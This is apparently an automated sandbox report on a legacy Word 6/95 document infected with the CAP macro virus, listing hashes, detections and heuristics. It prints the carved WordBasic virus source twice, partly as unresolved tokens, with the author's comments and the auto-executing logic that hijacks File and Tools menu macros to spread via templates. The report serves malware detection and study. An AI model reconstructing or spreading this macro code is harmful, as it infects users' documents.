Office (OLE) malware analysis — malicious · 73841b352638f5bd

MALICIOUS

Office (OLE)

9.0 KB First seen: 2012-06-14

MD5: f83c134b09be892176b77702808bde98 SHA-1: fc8389616be152cf7d257d3982640b114bf56748 SHA-256: 73841b352638f5bdb2ac5962b8e3e11650b8f5fc5bd35b6e896e24fe6b7bc83b

102 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by the 'RSN MACRO VIRUS' marker and the 'Goat file' designation. The presence of WordBasic macro virus markers strongly suggests an intent to execute malicious code upon opening the document, likely for propagation or other harmful actions typical of early macro malware.

Heuristics 3

ClamAV: Win.Trojan.Cap-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Win.Trojan.Cap-1
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE

The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 2315 bytes

Filename	Kind	Source	Size
`wordbasic_macros.txt`	wordbasic-macro	analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source)	2315 bytes
SHA-256: `7df724bf1789b10bf438e30b87ba4ec2e6812d684ccd9c65090dd7072109e84a`
Preview script First 1,000 lines of the extracted script , , = = = = = = = , = , 20325 21349 29551 17253 29551 21349 19827 21605 29793 25961 25964 25961 = = MAIN REM C.A.P: Un virus social.. y ahora digital.. REM "j4cKy Qw3rTy" (jqw3rty@hotmail.com). REM Venezuela, Maracay, Dic 1996. REM P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa ! M$ 9 S F$ , - S$ = "F%" D$ = "Macro" C$ = "Close" B$ = "Open" A$ = "File" M$ 0 = "CAP" M$ 3 = A$ = C$ M$ 5 = A$ = "Save" M$ 2 = A$ = B$ M$ 9 = A$ = "Templates" A$ = "Auto" M$ 6 = M$ 5 = "As" M$ 1 = A$ = B$ M$ 8 = A$ = "Exec" M$ 4 = A$ = C$ M$ 7 = "Tools" = D$ M = 0 N = 0 T = 1 0 1 I = @cmd80b7 T 1 1 B$ = @cmd80b8 I , T S$ = @cmd8008 @cmd80be B$ , 2 J = 0 9 B$ = M$ J T N = N = 1 M = M = 1 J = 9 @cmd00d7 = B$ , = T = T = 1 , F$ M 10 N @cmd00d1 = 0 , = 1 , = 1 , = "10" I = 0 9 I 7 K = 1 K = 0 @cmd80c2 F$ = ":" = M$ I , M$ I , K B$ = S$ = @cmd80ea @cmd8007 @cmd8006 @cmd800a M$ 7 , 3 = 1 @cmd00d7 = M$ 7 , = 1 , = B$ , A$ = @cmd8140 0 , 1 I = @cmd80b7 1 1 1 J = 0 B$ = @cmd80b8 I , 1 @cmd80be B$ S$ = "O" J = 2 S$ = "C" J = 3 S$ = "S" J = 5 S$ = "SA" J = 6 J C$ = @cmd813e A$ , 0 , J @cmd8008 @cmd80af C$ , @cmd8003 M$ J @cmd80af M$ J @cmd8008 C$ , 1 "(" @cmd80c2 F$ = ":" = B$ , C$ , K T = 1 I = 0 1 I J = 1 J = 6 A$ = @cmd8140 I , J J = @cmd8141 A$ , I 1 M = J 1 1 @cmd800f @cmd813e A$ , I , M , D$ I B$ = @cmd813e A$ , I , M 2 @cmd80af B$ @cmd80af M$ 9 @cmd8008 B$ , 1 "(" @cmd80c2 M$ 9 , B$ , K M = M = 1 T = M M 1 1 T 3 @cmd01b1 = I , + = T , = @cmd813e A$ , I , T , = = A$ , , = 0 M = 1 T = 0 T I = 6 J @cmd8008 @cmd813e A$ , 1 , I , 1 = "(" @cmd8008 @cmd813e A$ , 1 , I 2 , 1 = "(" T = 1 3 2 B$ = @cmd813e A$ , 1 , I T @cmd8008 B$ , 1 "(" @cmd80c2 M$ T = 6 , B$ , K I = J D @cmd0054 D N 10 D = 1 D = 0 D = 6 D = 1 I = @cmd80b7 0 1 1 B$ = @cmd80b8 I , 0 B$ M$ 7 K = 1 K = 0 @cmd80c2 B$ , F$ = ":" = B$ , K @cmd0054 D Err = 0 FO , - @cmd80d6 , - * E D @cmd0050 D D @cmd0050 D S D FC , - @cmd80d6 S @cmd8025 @cmd80a0 FS , - @cmd80d6 , - * F @cmd0053 S @cmd8025 FSA , - @cmd80d6 , - * G D @cmd0054 D D 1 D @cmd0054 D S D T = @cmd803e W$ = D @cmd004f = @cmd8025 , - * H D D = W$ D @cmd0054 D , - * G S D T @cmd803e T = T = 1 @cmd80de T @cmd80a0 2 MAIN , - @cmd80d6 0 CAP MAIN , - CAP MAIN , - CAP MAIN , - CAP @cmd8025 MAIN , - CAP MAIN , - CAP MAIN MAIN , - CAP MAIN MAIN , - CAP MAIN , - CAP MAIN , - CAP

SHA-256: 7df724bf1789b10bf438e30b87ba4ec2e6812d684ccd9c65090dd7072109e84a

Preview script

First 1,000 lines of the extracted script

, , = = = = = = = , = , 20325 21349 29551 17253 29551 21349 19827 21605 29793   25961
25964 25961 = =  
MAIN
REM C.A.P: Un virus social.. y ahora digital..
REM "j4cKy Qw3rTy" (jqw3rty@hotmail.com).
REM Venezuela, Maracay, Dic 1996.
REM P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
M$ 9
S F$
, -
S$ = "F%"
D$ = "Macro"
C$ = "Close"
B$ = "Open"
A$ = "File"
M$ 0 = "CAP"
M$ 3 = A$ = C$
M$ 5 = A$ = "Save"
M$ 2 = A$ = B$
M$ 9 = A$ = "Templates"
A$ = "Auto"
M$ 6 = M$ 5 = "As"
M$ 1 = A$ = B$
M$ 8 = A$ = "Exec"
M$ 4 = A$ = C$
M$ 7 = "Tools" = D$
M = 0
N = 0
T = 1 0 1
I = @cmd80b7 T 1 1
B$ = @cmd80b8 I , T
S$ = @cmd8008 @cmd80be B$ , 2
J = 0 9
B$ = M$ J
T N = N = 1   M = M = 1
J = 9
@cmd00d7 = B$ , = T = T = 1 ,
F$
M 10 N
@cmd00d1 = 0 , = 1 , = 1 , = "10"
I = 0 9
I 7 K = 1   K = 0
@cmd80c2 F$ = ":" = M$ I , M$ I , K
B$ = S$ = @cmd80ea @cmd8007 @cmd8006 @cmd800a M$ 7 , 3 = 1
@cmd00d7 = M$ 7 , = 1 , = B$ ,
A$ = @cmd8140 0 , 1
I = @cmd80b7 1 1 1
J = 0
B$ = @cmd80b8 I , 1
@cmd80be B$
S$ = "O"
J = 2
S$ = "C"
J = 3
S$ = "S"
J = 5
S$ = "SA"
J = 6
J
C$ = @cmd813e A$ , 0 , J
@cmd8008 @cmd80af C$ , @cmd8003 M$ J @cmd80af M$ J @cmd8008 C$ , 1 "(" @cmd80c2 F$ = ":" = B$ , C$ , K
T = 1
I = 0 1
I J = 1   J = 6
A$ = @cmd8140 I , J
J = @cmd8141 A$ , I 1
M = J 1 1
@cmd800f @cmd813e A$ , I , M , D$
I
B$ = @cmd813e A$ , I , M 2
@cmd80af B$ @cmd80af M$ 9 @cmd8008 B$ , 1 "(" @cmd80c2 M$ 9 , B$ , K
M = M = 1
T = M M 1 1
T 3 @cmd01b1 = I , + = T , = @cmd813e A$ , I , T , = = A$ , , = 0
M = 1
T = 0
T
I = 6 J
@cmd8008 @cmd813e A$ , 1 , I , 1 = "(" @cmd8008 @cmd813e A$ , 1 , I 2 , 1 = "("
T = 1 3 2
B$ = @cmd813e A$ , 1 , I T
@cmd8008 B$ , 1 "(" @cmd80c2 M$ T = 6 , B$ , K
I = J
D @cmd0054
D
N 10 D = 1 D = 0 D = 6
D = 1
I = @cmd80b7 0 1 1
B$ = @cmd80b8 I , 0
B$ M$ 7 K = 1   K = 0
@cmd80c2 B$ , F$ = ":" = B$ , K
@cmd0054 D
Err = 0
FO
, -
@cmd80d6
, - * E
D @cmd0050
D
D
@cmd0050 D
S D
FC
, -
@cmd80d6
S @cmd8025
@cmd80a0
FS
, -
@cmd80d6
, - * F
@cmd0053
S @cmd8025
FSA
, -
@cmd80d6
, - * G
D @cmd0054
D
D 1
D
@cmd0054 D
S D
T = @cmd803e
W$ = D
@cmd004f = @cmd8025
, - * H
D
D = W$
D
@cmd0054 D
, - * G
S D
T @cmd803e T = T = 1
@cmd80de T
@cmd80a0 2
MAIN
, -
@cmd80d6 0
CAP
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP @cmd8025
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP

Open this report in the interactive analyzer, or submit your own file for analysis.